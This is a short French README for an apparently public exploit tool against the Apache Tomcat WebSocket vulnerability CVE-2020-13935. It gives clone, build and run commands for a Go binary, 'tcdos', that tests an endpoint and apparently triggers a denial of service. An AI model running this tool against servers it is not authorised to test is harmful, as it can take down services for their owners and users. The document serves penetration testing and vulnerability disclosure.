Exploit pour la vulnérabilité WebSocket dans Apache Tomcat (CVE-2020-13935)

Dans l'article de blog correspondant, l'analyse et l'exploitation de la vulnérabilité sont expliquées en détail.

Utilisation

Clonez le dépôt, puis construisez le binaire tcdos. Exécutez le programme comme suit pour tester si un point de terminaison WebSocket particulier est vulnérable :

$ git clone https://github.com/RedTeamPentesting/CVE-2020-13935
$ cd CVE-2020-13935
$ go build
$ ./tcdos [WebSocket endpoint]